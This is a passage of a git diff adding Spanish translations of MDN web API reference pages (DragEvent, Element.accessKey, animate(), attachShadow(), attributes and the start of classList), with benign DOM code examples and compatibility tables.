+  - DragEvent
+  - Referencia
+  - arrastrar y soltar
+  - drag and drop
+translation_of: Web/API/DragEvent
+---
+<div>{{APIRef("HTML Drag and Drop API")}}</div>
+
+<p>La interfaz <strong><code>DragEvent</code></strong> es un {{domxref("Event","evento DOM")}} que representa una interacción de arrastrar y soltar. El usuario inicia un arrastre posicionando un dispositivo puntero (como un ratón) en la superficie táctil y luego arrastra el puntero a una nueva posición (como como elemento del DOM). Las aplicaciones son libres de interpretar una interacción de arrastrar y soltar en una manera específica a la aplicación.</p>
+
+<p class="note">Esta interfaz hereda propiedades de {{domxref("MouseEvent")}} y {{domxref("Event")}}.</p>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<dl>
+ <dt>{{domxref('DragEvent.dataTransfer')}} {{readonlyInline}}</dt>
+ <dd>Los datos que son transferidos durante una interacción de arrastrar y soltar.</dd>
+</dl>
+
+<h2 id="Constructores">Constructores</h2>
+
+<p class="note">A pesar que esta interfaz tiene un constructor, no es posible crear un objeto DataTransfer útil desde código, ya que los objetos {{domxref("DataTransfer")}} tienen un modelo de procesamiento y seguridad que está coordinado por el navegador durante el arrastrar y soltar.</p>
+
+<dl>
+ <dt>{{domxref("DragEvent.DragEvent", "DragEvent()")}}</dt>
+ <dd>Crea un DragEvent sintético y que no es de confianza.</dd>
+</dl>
+
+<h2 id="Tipos_de_eventos">Tipos de eventos</h2>
+
+<dl>
+ <dt>{{event('drag')}}</dt>
+ <dd>Este evento es lanzado cuando un elemento o selección de texto está siendo arrastrado.</dd>
+ <dt>{{event('dragend')}}</dt>
+ <dd>Este evento es lanzado cuando la operación de arrastrar está siendo terminada (liberando el botón del ratón o pulsando la tecla de escape).</dd>
+ <dt>{{event('dragenter')}}</dt>
+ <dd>Este evento es lanzado cuando un elemento arrastrado ingresa a un destino de liberación válido.</dd>
+ <dt>{{event('dragexit')}}</dt>
+ <dd>Este evento es lanzado cuando un elemento ya no es el destino de selección inmediato de la operación de arrastre.</dd>
+ <dt>{{event('dragleave')}}</dt>
+ <dd>Este evento es lanzado cuando el elemento arrastrado o selección de texto deja un destino de liberación válido.</dd>
+ <dt>{{event('dragover')}}</dt>
+ <dd>Este evento es lanzado continuamente cuando un elemento o selección de texto está siendo arrastrado y el puntero del ratón está sobre un destino de liberación válido (cada 50 ms CUANDO el ratón no se está moviendo SINO más rápido entre 5 ms (movimiento lento) y 1 ms (movimiento rápido) aproximadamente. Este patrón de disparo es diferente que {{Event("mouseover")}}).</dd>
+ <dt>{{event('dragstart')}}</dt>
+ <dd>Este evento es lanzado cuando el usuario empieza a arrastrar un elemento o selección de texto.</dd>
+ <dt>{{event('drop')}}</dt>
+ <dd>Este evento es lanzado cuando un elemento o selección de texto es soltado en un destino válido.</dd>
+</dl>
+
+<h2 id="GlobalEventHandlers">GlobalEventHandlers</h2>
+
+<dl>
+ <dt>{{domxref('GlobalEventHandlers.ondrag')}}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','manejador de evento global')}} para el evento {{event('drag')}}.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragend')}}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','manejador de evento global')}} para el evento {{event('dragend')}}.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragenter')}}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','manejador de evento global')}} para el evento {{event('dragenter')}}.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragexit')}}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','manejador de evento global')}} para el evento {{event('dragexit')}}.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragleave')}}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','manejador de evento global')}} para el evento {{event('dragleave')}}.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragover')}}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','manejador de evento global')}} para el evento {{event('dragover')}}.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondragstart')}}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','manejador de evento global')}} para el evento {{event('dragstart')}}.</dd>
+ <dt>{{domxref('GlobalEventHandlers.ondrop')}}</dt>
+ <dd>Un {{domxref('GlobalEventHandlers','manejador de evento global')}} para el evento {{event('drop')}}.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Un ejemplo para cada propiedad, constructor, tipo de evento, y manejador de evento global están incluidos en sus respectivas páginas de referencia.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificaciones</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dragevent", "DragEvent")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "editing.html#the-dragevent-interface", "DragEvent")}}</td>
+   <td>{{Spec2("HTML5.1")}}</td>
+   <td>Definición inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta pagina es generado desde datos estructurados. Si gustas contribuir a los datos, por favor revisa <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíanos un solicitud de cambios.</div>
+
+<p>{{Compat("api.DragEvent")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<p>{{page("/en-US/docs/Web/API/DataTransfer", "Ver también")}}</p>
diff --git a/files/es/web/api/element/accesskey/index.html b/files/es/web/api/element/accesskey/index.html
new file mode 100644
index 0000000000..a21970faa6
--- /dev/null
+++ b/files/es/web/api/element/accesskey/index.html
@@ -0,0 +1,22 @@
+---
+title: Element.accessKey
+slug: Web/API/Element/accessKey
+tags:
+  - API
+  - Propiedad
+  - necesidades de contenido
+translation_of: Web/API/HTMLElement/accessKey
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div> </div>
+
+<p><span id="result_box" lang="es"><span>La propiedad</span> <strong><span>Element.accessKey</span></strong> <span>establece la pulsación</span><span> de teclado</span> <span>mediante el cual un</span> <span>usuario puede presionar</span> <span>para saltar a</span> <span>este elemento</span><span>.</span></span></p>
+
+<div class="note">
+<p><span id="result_box" lang="es"><span>Nota: la propiedad</span> <strong><span>Element.accessKey</span></strong> <span>se usa raramente</span> <span>debido a sus</span> <span>múltiples</span> <span>conflictos con las asociaciones de teclas</span> <span>que ya están presentes</span>  <span>en los navegadores</span><span>.</span> <span>Para evitar</span> <span>esto,</span> <span>los navegadores implementan</span> <span>el comportamiento</span> <span>tecla de acceso</span> <span>si</span> <span>se pulsan las claves</span> <span>con otras teclas</span> <span>"cualificadas</span><span>" (como</span> <span>Alt</span> <span>+</span> <span>tecla de acceso</span><span>)</span><span>.</span></span></p>
+</div>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/es/web/api/element/animate/index.html b/files/es/web/api/element/animate/index.html
new file mode 100644
index 0000000000..e491efc0d7
--- /dev/null
+++ b/files/es/web/api/element/animate/index.html
@@ -0,0 +1,208 @@
+---
+title: Element.animate()
+slug: Web/API/Element/animate
+tags:
+  - API
+  - Animacion
+  - Elemento
+  - Experimental
+  - metodo
+  - waapi
+  - web animations api
+translation_of: Web/API/Element/animate
+---
+<div>
+<p>{{APIRef('Web Animations')}} {{SeeCompatTable}}</p>
+
+<p>El método <strong><code>Element.animate()</code></strong> es un método abreviado para crear y reproducir una animación en un elemento. Devuelve la instancia creada de un objeto {{domxref("Animation")}} .</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<div class="syntaxbox">
+<pre class="brush: js"><var>element</var>.animate(<var>keyframes</var>, <var>options</var>); </pre>
+</div>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>keyframes</code></dt>
+ <dd>
+ <p>Un <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API/Keyframe_Formats">Objeto formateado para representar un conjunto de fotogramas clave</a>.</p>
+ </dd>
+ <dt><code>opciones</code></dt>
+ <dd>Puede ser un<strong> entero</strong> <strong>representando la duración de la animación</strong>  (en milisegundos), <strong>o</strong> un Objeto conteniendo una o más propiedades de sincronización: </dd>
+ <dd>
+ <dl>
+  <dt><code>id {{optional_inline}}</code></dt>
+  <dd><code>Una propiedad única para animar()</code>: a <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a> con la cual se hace referencia a la animación.</dd>
+ </dl>
+ {{Page("/en-US/docs/Web/API/Web_Animations_API/Animation_timing_properties", "Properties")}}</dd>
+</dl>
+
+<h4 id="Opciones_Futuras">Opciones Futuras</h4>
+
+<p><span id="result_box" lang="es"><span>Las</span> <span>siguientes</span> <span>opciones</span> <span>actualmente no</span> <span>se han enviado</span> <span>a todos los sitios</span><span>, pero</span> <span>se añadirán</span> <span>en un futuro próximo</span><span>.</span></span></p>
+
+<dl>
+ <dt><code>composite {{optional_inline}}</code></dt>
+ <dd>Determina como se combinan los valores entre esta animación y otra, animaciones independientes sin especificar la composición de su propia operación. <code>Valores predeterminados a reemplazar</code>.
+ <ul>
+  <li><code>añadir dicta un efecto aditivo</code>, donde cada iteración sucesiva se basa en la anterior. Por ejemplo con <code>transform</code>, a <code>translateX(-200px)</code> no anularía un valor anterior <code>rotate(20deg)</code> que resultaría  <code>translateX(-200px) rotate(20deg)</code>.</li>
+  <li><code>acumular es similar pero un poco más inteligente</code>: <code>blur(2)</code> y <code>blur(5)</code> resultaría  <code>blur(7)</code>, no <code>blur(2) blur(5)</code>.</li>
+  <li><code>remplazar sobreescribe el valor anterior con el nuevo</code>.</li>
+ </ul>
+ </dd>
+ <dt><code>iterationComposite {{optional_inline}}</code></dt>
+ <dd>Determina como se construyen los valores de una iteración a otra en esta animación. . <code>Se puede configurar para acumular o reemplazar</code> (ver arriba). <code>Valores predeterminados para reemplazar</code>.</dd>
+ <dt><code>spacing {{optional_inline}}</code></dt>
+ <dd>Determina como los keyframes sin compensación temporal  deben ser distribuidos durante la duración de la animación. <code>Valores predeterminados para distribuir</code>.
+ <ul>
+  <li><code>distribuir las posiciones de los</code> keyframes para que la diferencia entre el anterior y el  posterior estén compensadas por igual , lo que es como decir, sin ninguna compensación, esto distribuirá equitativamente los keyframes a traves del tiempo de ejecución.</li>
+  <li><code>situar las posiciones de los</code> keyframes de manera que  igualen la diferencia entre los siguientes valores de una propiedad especifica sincronizada  , lo que es como decir,  que los keyframes estén más espaciados cuanto mayores sean los valores de sus propiedades.</li>
+ </ul>
+
+ <p><img alt="" src="https://w3c.github.io/web-animations/img/spacing-distribute.svg" style="height: 210px; width: 200px;"> <img alt=" " src="https://w3c.github.io/web-animations/img/spacing-paced.svg" style="height: 210px; width: 200px;"></p>
+ </dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>Returns an {{domxref("Animation")}}.</p>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En la demostración <a href="https://codepen.io/rachelnabors/pen/rxpmJL/?editors=0010">Down the Rabbit Hole (con la Web Animation API)</a>, utilizamos el método conveniente, <code>animate()</code> para inmediatamente crear y ejecutar una animación en el elemento  <code>#tunnel</code>  para hacerlo fluir hacia arriba, indefinidamente. Observar el orden  de paso de los objetos por los keyframes y también el bloque de opciones de sincronización.</p>
+
+<pre class="brush: js">document.getElementById("tunnel").animate([
+  // keyframes
+  { transform: 'translateY(0px)' },
+  { transform: 'translateY(-300px)' }
+], {
+  // timing options
+  duration: 1000,
+  iterations: Infinity
+});
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#the-animatable-interface', 'animate()' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_los_Navegadores">Compatibilidad en los Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome("36")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>23</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>id</code> option</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>37</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>composite</code>, <code>iterationComposite</code>, and <code>spacing</code> options</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{CompatChrome(39.0)}}</td>
+   <td>{{ CompatGeckoMobile("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>id</code> option</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{ CompatGeckoMobile("48.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>composite</code>, <code>iterationComposite</code>, and <code>spacing</code> options</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_También">Ver También</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("Animation")}}</li>
+</ul>
+</div>
diff --git a/files/es/web/api/element/attachshadow/index.html b/files/es/web/api/element/attachshadow/index.html
new file mode 100644
index 0000000000..33e1d119ae
--- /dev/null
+++ b/files/es/web/api/element/attachshadow/index.html
@@ -0,0 +1,158 @@
+---
+title: Element.attachShadow()
+slug: Web/API/Element/attachShadow
+translation_of: Web/API/Element/attachShadow
+---
+<div>{{APIRef('Shadow DOM')}}</div>
+
+<p>El método <strong><code>Element.attachShadow()</code></strong> adjunta un árbol DOM "sombra" al elemento especificado y devuelve una referencia a su raíz {{domxref("ShadowRoot")}}.</p>
+
+<h2 id="Elementos_a_los_que_puedes_adjuntar_un_DOM_sombra">Elementos a los que puedes adjuntar un DOM "sombra"</h2>
+
+<p>No se puede adjuntar un DOM "sombra" a cualquier tipo de elemento. Hay algunos que no pueden tenerlo por razones de seguridad (por ejemplo {{htmlelement("a")}}), y algunos más. Los siguientes elementos de la lista <strong>pueden</strong> adjuntar un DOM "sombra":</p>
+
+<ul>
+ <li>Cualquier elemento autónomo con un <a href="https://html.spec.whatwg.org/multipage/custom-elements.html#valid-custom-element-name" title="nombre válido">nombre válido</a></li>
+ <li>{{htmlelement("article")}}</li>
+ <li>{{htmlelement("aside")}}</li>
+ <li>{{htmlelement("blockquote")}}</li>
+ <li>{{htmlelement("body")}}</li>
+ <li>{{htmlelement("div")}}</li>
+ <li>{{htmlelement("footer")}}</li>
+ <li>{{htmlelement("h1")}}</li>
+ <li>{{htmlelement("h2")}}</li>
+ <li>{{htmlelement("h3")}}</li>
+ <li>{{htmlelement("h4")}}</li>
+ <li>{{htmlelement("h5")}}</li>
+ <li>{{htmlelement("h6")}}</li>
+ <li>{{htmlelement("header")}}</li>
+ <li>{{htmlelement("main")}}</li>
+ <li>{{htmlelement("nav")}}</li>
+ <li>{{htmlelement("p")}}</li>
+ <li>{{htmlelement("section")}}</li>
+ <li>{{htmlelement("span")}}</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Syntaxis</h2>
+
+<pre class="syntaxbox">var <var>shadowroot</var> = <var>element</var>.attachShadow(<var>shadowRootInit</var>);
+</pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>shadowRootInit</code></dt>
+ <dd>Un diccionario <code>ShadowRootInit</code> , que puede contener los siguientes campos:
+ <dl>
+  <dt><code>mode</code></dt>
+  <dd>
+  <p>Una cadena que especifique el <em>modo de encapsulación</em> para el árbol DOM "sombra". Este puede tener uno de los siguientes valores:</p>
+
+  <ul>
+   <li><code>open</code>: Los elementos del árbol son accesibles desde fuera del elemento, por ejemplo usando {{domxref("Element.shadowRoot")}}:<br>
+
+    <pre>element.shadowRoot; // Returns a ShadowRoot obj</pre>
+   </li>
+   <li><code>closed</code>: Deniega el acceso a lo(s) nodo(s) desde fuera mediante JavaScript:<br>
+
+    <pre>element.shadowRoot; // Returns null
+</pre>
+   </li>
+  </ul>
+  </dd>
+  <dt><code>delegatesFocus</code></dt>
+  <dd>Un booleano que, si se establece a <code>true</code>, mitiga problemas de comportamiento relativos a la capacidad de tomar el foco. Cuando se hace click en una parte del DOM "sombra" que no puede tomar el foco, la primera parte del árbol que pueda tomar el foco lo hará, y le dará cualquier estilo disponible mediante CSS con <code>:focus</code>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Valor_retorno">Valor retorno</h3>
+
+<p>Devuelve un objeto {{domxref("ShadowRoot")}}.</p>
+
+<h3 id="Excepciones">Excepciones</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Excepción</th>
+   <th scope="col">Explicación</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>InvalidStateError</code></td>
+   <td>El elemento que estás intentando adjuntar ya tiene una DOM "sombra".</td>
+  </tr>
+  <tr>
+   <td><code>NotSupportedError</code></td>
+   <td>Estás intentando adjuntar DOM "sombra" a un elemento fuera del espacio de nombres HTML, o el elemento no puede tener una DOM "sombra". adjunta (ver abajo).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Los siguientes ejemplos están tomados de la demo <a href="https://github.com/mdn/web-components-examples/tree/master/word-count-web-component">word-count-web-component</a>  (<a href="https://mdn.github.io/web-components-examples/word-count-web-component/">verlo también en modo live</a>). Puedes ver que usamos <code>attachShadow()</code> en mitad del código para crear una DOM "sombra", a la que luego adjuntamos el contenido de nuesto elemento personalizado.</p>
+
+<pre class="brush: js">// Crear una clase para el elemento
+class CuentaPalabras extends HTMLParagraphElement {
+  constructor() {
+    // Siemmpre llamar a super en el constructor
+    super();
+
+    // contar las palabras en el nodo padre
+    var cpPadre = this.parentNode;
+
+    function cuentaPalabras(nodo){
+      var texto = nodo.innerText || nodo.textContent
+      return texto.trim().split(/\s+/g).length;
+    }
+
+    var cuenta = 'Palabras: ' + cuentaPalabras(cpPadre);
+
+    // Crear un DOM "sombra"
+    var sombra = this.attachShadow({mode: 'open'});
+
+    // Crear el nodo de texto y añadirle el contador de palabras
+    var texto = document.createElement('span');
+    texto.textContent = count;
+
+    // Añadirlo a la sombra
+    sombra.appendChild(texto);
+
+    // Actualizar el contador cuando el contenido del elemento cambie
+    setInterval(function() {
+      var cuenta = 'Palabras: ' + cuentaPalabras(cpPadre);
+      texto.textContent = cuenta;
+    }, 200)
+  }
+}
+
+// Definir el nuevo elemento
+customElements.define('cuenta-palabras', CuentaPalabras , { extends: 'p' });</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-attachshadow', 'attachShadow()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_navegadores">Compatibilidad navegadores</h2>
+
+
+
+<p>{{Compat("api.Element.attachShadow")}}</p>
diff --git a/files/es/web/api/element/attributes/index.html b/files/es/web/api/element/attributes/index.html
new file mode 100644
index 0000000000..3b0f1da338
--- /dev/null
+++ b/files/es/web/api/element/attributes/index.html
@@ -0,0 +1,157 @@
+---
+title: Element.attributes
+slug: Web/API/Element/attributes
+translation_of: Web/API/Element/attributes
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>La propiedad <strong><code>Element.attributes</code></strong> retorna una colección "viva" cuyos nodos son todos los atributos registrados en el nodo especificado. Es un {{domxref("NamedNodeMap")}}, no un <code>Array</code>, así que no tiene los métodos de {{jsxref("Array")}} y los índices de nodo {{domxref("Attr")}} pueden diferir en cada navegador. Más concretamente <code>attributes</code> es un conjunto de pares de cadenas nombre/valor que representan la información relativa a cada atributo.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">var <em>attr</em> =<em> element</em>.attributes;
+</pre>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<h3 id="Ejemplos_básicos">Ejemplos básicos</h3>
+
+<pre class="brush: js">// Obtiene el primer elemento &lt;p&gt; en el documento
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;</pre>
+
+<h3 id="Notes" name="Notes">Enumerando atributos de elemtentos</h3>
+
+<p>La indexación numérica es útil para recorrer de todos los atributos de un elemento.<br>
+ El siguiente ejemplo corre a través de los atributors del elemento con id "p1" en el documento, e imprime el valor de cada atributo.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+
+ &lt;head&gt;
+  &lt;title&gt;Attributes example&lt;/title&gt;
+  &lt;script type="text/javascript"&gt;
+   function listAttributes() {
+     var paragraph = document.getElementById("paragraph");
+     var result = document.getElementById("result");
+
+     // Primero, verifiquenmos que el párrafo tiene algún atributo
+     if (paragraph.hasAttributes()) {
+       var attrs = paragraph.attributes;
+       var output = "";
+       for(var i = attrs.length - 1; i &gt;= 0; i--) {
+         output += attrs[i].name + "-&gt;" + attrs[i].value;
+       }
+       result.value = output;
+     } else {
+       result.value = "No hay atributos que mostrar";
+     }
+   }
+  &lt;/script&gt;
+ &lt;/head&gt;
+
+&lt;body&gt;
+ &lt;p id="paragraph" style="color: green;"&gt;Párrafo de ejemplo&lt;/p&gt;
+ &lt;form action=""&gt;
+  &lt;p&gt;
+    &lt;input type="button" value="Muestra el nombre cada atributo y su valor"
+      onclick="listAttributes();"&gt;
+    &lt;input id="result" type="text" value=""&gt;
+  &lt;/p&gt;
+ &lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Observaciones</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-attributes', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>From {{SpecName('DOM3 Core')}}, moved from {{domxref("Node")}} a {{domxref("Element")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Sin cambios desde {{SpecName('DOM2 Core')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Sin cambios desde {{SpecName('DOM1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-84CF096', 'Element.attributes')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>6.0 [2]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Prestación</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }} [1]</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Anes de Firefox 22, este atributo era implementado en la interfaz  {{domxref("Node")}} (heredada de {{domxref("Element")}}). Se trasladó a esta interfaz de acuerdo a la especificación y el uso en otros navegadores.</p>
+
+<p>[2] Internet Explorer 5.5 retorna un mapa conteniendo los valores en lugar de objetos attribute.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{domxref("NamedNodeMap")}}, la interfaz del objeto retornado.</li>
+ <li>Consideracións sobre compatibilidad cruzada entre navegadores: en <a class="external" href="http://www.quirksmode.org/dom/w3c_core.html#attributes" title="http://www.quirksmode.org/dom/w3c_core.html#attributes">quirksmode</a></li>
+</ul>
diff --git a/files/es/web/api/element/classlist/index.html b/files/es/web/api/element/classlist/index.html
new file mode 100644
index 0000000000..4d45dd2e31
--- /dev/null
+++ b/files/es/web/api/element/classlist/index.html
@@ -0,0 +1,215 @@
+---
+title: Element.classList
+slug: Web/API/Element/classList
+tags:
+  - API
+  - DOM
+  - Elemento
+  - Propiedad
+  - Referencia
+  - Sólo-Lectura
+translation_of: Web/API/Element/classList
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>La propiedad de sólo lectura <code><strong>Element.classList</strong></code> devuelve una colección activa de <a href="https://developer.mozilla.org/en-US/docs/Web/API/DOMTokenList" title="The DOMTokenList interface represents a set of space-separated tokens. Such a set is returned by Element.classList, HTMLLinkElement.relList, HTMLAnchorElement.relList or HTMLAreaElement.relList. It is indexed beginning with 0 as with JavaScript Array objects. DOMTokenList is always case-sensitive."><code>DOMTokenList</code></a> de los atributos de clase del elemento.</p>
+
+<p>Usar <code>classList</code> es una forma práctica de acceder a la lista de clases de un elemento como una cadena de texto delimitada por espacios a través de {{domxref("element.className")}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">var <var>elementClasses</var> = elementNodeReference.classList;
+</pre>
+
+<p><em>elementClasses</em> es un <a href="/en-US/docs/DOM/DOMTokenList">DOMTokenList</a> que representa el atributo clase de <em>elementNodeReference</em>. Si el atributo clase no está definido o está vacío, <em>elementClasses.length</em> devuelve 0. <code>element.classList</code> por sí mismo es de sólo lectura, aunque puede ser modificado usando los métodos<code> add()</code> y <code>remove()</code>.</p>
+
+<h2 id="Métodos">Métodos</h2>
+
+<dl>
+ <dt>add( String [, String] )</dt>
+ <dd>Añade las clases indicadas. Si estas clases existieran en el atributo del elemento serán ignoradas.</dd>
+ <dt>remove( String [, String] )</dt>
+ <dd>Elimina las clases indicadas.<br>
+ <strong>Nota:</strong> Eliminar una clase que no existe NO produce un error.</dd>
+ <dt><strong>item</strong>( Number )</dt>
+ <dd>Devuelve el valor de la clase por índice en la colección.</dd>
+ <dt><strong>toggle</strong>( String [, force] )</dt>
+ <dd>Cuando sólo hay un argumento presente: Alterna el valor de la clase; ej., si la clase existe la <u>elimina</u> y devuelve <code>false</code>, si no, la <u>añade</u> y devuelve <code>true</code>.<br>
